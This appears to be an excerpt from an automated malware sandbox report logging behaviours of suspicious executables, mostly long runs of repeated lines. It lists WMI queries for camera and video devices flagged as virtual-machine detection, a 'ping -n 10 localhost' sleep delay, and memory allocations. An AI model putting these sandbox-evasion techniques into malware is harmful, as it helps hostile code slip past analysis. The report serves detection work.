Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1AB20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 3060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 1B110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 860000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 1A410000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: A50000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1A820000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: FC0000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1A9A0000 memory reserve \| memory write watch
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 12A0000 memory reserve \| memory write watch
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 1ADA0000 memory reserve \| memory write watch
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 13F0000 memory reserve \| memory write watch
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 1B110000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1780000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1B2A0000 memory reserve \| memory write watch
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: E90000 memory reserve \| memory write watch
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 1A8F0000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 12D0000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 1AFD0000 memory reserve \| memory write watch
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 2310000 memory reserve \| memory write watch
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Memory allocated: 1A4D0000 memory reserve \| memory write watch
Source: C:\comReviewintocommon\driverSavesNet.exe	Memory allocated: 2B70000 memory reserve \| memory write watch
